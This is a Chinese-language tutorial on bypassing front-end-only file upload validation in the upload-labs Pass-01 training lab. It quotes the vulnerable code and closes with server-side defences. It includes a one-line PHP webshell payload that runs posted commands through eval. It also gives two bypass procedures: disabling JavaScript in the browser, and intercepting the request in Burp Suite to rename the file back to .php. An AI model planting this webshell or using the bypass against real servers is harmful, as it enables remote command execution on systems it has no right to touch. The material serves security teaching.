【前端篇】只在前端做校验攻击者一秒绕过前言在上一期《3 分钟带你搞懂什么是文件上传漏洞》中我们了解了漏洞的本质和危害。从本期开始我们将正式进入实战攻防环节今天我们要拆解的是 Web 开发中最基础、但也极其普遍的一种安全漏洞纯前端文件校验Client-side Validation。 1. 什么是“纯前端校验”当你在网页上传头像时刚选好文件甚至还没点击“提交”按钮页面瞬间弹出警告“只允许上传 jpg / png / gif 格式的图片”注意到了吗请求根本还没发送到服务器浏览器就已经拦下了你。这就是典型的前端校验开发者为了追求响应速度和更好的用户体验在网页源码里写了一段JavaScript简称 JS代码。在文件离开你的电脑之前先在本地浏览器里检查文件的后缀名。 2. 为什么说“前端安全等于没有安全”很多初学者甚至初级程序员会想“既然前端 JS 已经把.php、.asp、.jsp这类危险的脚本后缀挡住了恶意的代码不就传不上去了吗”这是网络安全中最忌讳的“防君子不防小人”思想。在安全领域有一条铁律永远不要相信任何来自客户端浏览器输入的数据为什么因为客户端的控制权在用户攻击者手里本地代码可被操控网页上的 HTML 和 JavaScript 代码下载到了你的电脑里你可以随意修改、禁用甚至删除它们。HTTP 数据包可被截获数据包从你的浏览器发往服务器的途中攻击者可以用代理工具如 Burp Suite在中途拦截并篡改任意内容。[本地电脑] [后端服务器] ├─ 1. 选择 webshell.jpg ├─ 2. 前端 JS 检查后缀合法通过 ├─ 3. 发出 HTTP 数据包 ───► [ Burp Suite 拦截 ] │ ├─► 攻击者把 filename 改为 webshell.php │ └─► 4. 转发给服务器 ───► [ 成功运行恶意代码! ]️ 3. 实战演练两种姿势一秒破局我们以经典攻防靶场upload-labs (Pass-01)为例演示攻击者是如何轻松绕过前端校验的。准备工作在桌面新建一个文本文件写入以下极简 PHP Webshell并重命名为webshell.php?phpeval($_POST[cmd]);?姿势一禁用浏览器的 JavaScript最暴力既然校验逻辑完全靠 JS 运行那我们直接关掉浏览器的 JS 引擎校验代码自然就失效了。️ 操作步骤打开 Chrome 或 Edge 浏览器访问靶场上传页面。按F12打开开发者工具按F1或点击右上角齿轮 ⚙️ 图标进入设置 (Settings)。滚动到页面底部找到Debugger区域勾选Disable JavaScript禁用 JavaScript。不要关闭开发者工具直接在页面上选择webshell.php并点击上传。结果前端拦截弹窗消失文件顺利传到了服务器上缺点有些网站在禁用 JS 后提交按钮或动态表单也会失效因此这种方法在复杂的真实业务场景中局限性较大。姿势二抓包修改后缀名最标准、最通用的渗透姿势在实际渗透测试中最正统的操作是“投其所好骗过前端暗度陈仓发送木马”。️ 操作步骤第一步伪装文件将webshell.php临时重命名为webshell.jpg。此时它在前端 JS 看来就是一张“合法”的图片。第二步开启抓包工具打开Burp Suite进入Proxy - Intercept标签页确保按钮处于Intercept is on开启拦截状态。第三步提交并拦截在浏览器选择webshell.jpg点击上传。此时页面会卡住因为请求已经被 Burp Suite 成功截获第四步篡改数据包在 Burp Suite 显示的数据包中找到文件上传的核心区域Content-Disposition处将文件名改回.php-----------------------------29571343711910609321746200216 Content-Disposition: form-data; nameupload_file; filenamewebshell.jpg ◄── [修改这里为 webshell.php] Content-Type: image/jpeg ?php eval($_POST[cmd]);? -----------------------------29571343711910609321746200216--第五步放行数据包点击 Burp Suite 上的Forward按钮将修改后的数据包发往服务器。结果前端只检查了初始的webshell.jpg并放行而后端接收到了被修改后的webshell.php并写入磁盘攻防结束 4. 深入剖析代码层面的漏洞根源我们来看一下 upload-labs Pass-01 的前后端源码彻底搞懂为什么会产生这个漏洞。❌ 漏洞前端代码JS 校验functioncheckFile(){varfiledocument.getElementById(upload_file).value;if(filenull||file){alert(请选择要上传的文件);returnfalse;}// 取出文件后缀名varallow_suffix.jpg|.png|.gif;varext_namefile.substring(file.lastIndexOf(.));// 判断后缀是否合法if(allow_suffix.indexOf(ext_name)-1){alert(该文件不允许上传请上传allow_suffix类型的文件);returnfalse;// 返回 false 阻止表单提交}returntrue;}解析段代码在浏览器执行任何懂 HTML/JS 的人都能在浏览器控制台中直接修改checkFile()函数让它强制返回true。❌ 漏洞后端代码PHP 无校验$is_uploadfalse;$msgnull;if(isset($_POST[submit])){// 后端什么都没查直接拼接路径并将文件移动到服务器存储目录$target_pathUPLOAD_PATH./.basename($_FILES[upload_file][name]);if(move_uploaded_file($_FILES[upload_file][tmp_name],$target_path)){$is_uploadtrue;}else{$msg上传失败;}}解析后端代码完全信任了客户端传上来的$_FILES[upload_file][name]就像开着大门迎接黑客。️ 5. 正确的防御方案前端校验的正确定位是提升用户体验而不是提供安全保障。要做到真正的安全后端必须建立坚固的安检线后端必须进行严格的白名单校验在 PHP/Java/Python 等后端代码中提取文件名后缀并与允许列表比对。文件名重命名不要使用用户上传的原始文件名后端强行生成随机字符串 安全后缀如20260731_x9a8f2.jpg。校验文件内容类型MIME与文件头信息我们将在后续章节详细讲解。 6. 本章总结卡片概念/要素详解漏洞成因校验逻辑完全依赖前端 JavaScript后端缺乏防护绕过核心原理客户端环境完全受攻击者操控HTTP 请求可中途修改实用绕过手段1. 浏览器禁用 JS 执行2. 伪装后缀通过前端校验后使用抓包工具改回.php||防御核心法则|“前端校验仅用于辅助提醒安全生命线必须立足于后端”|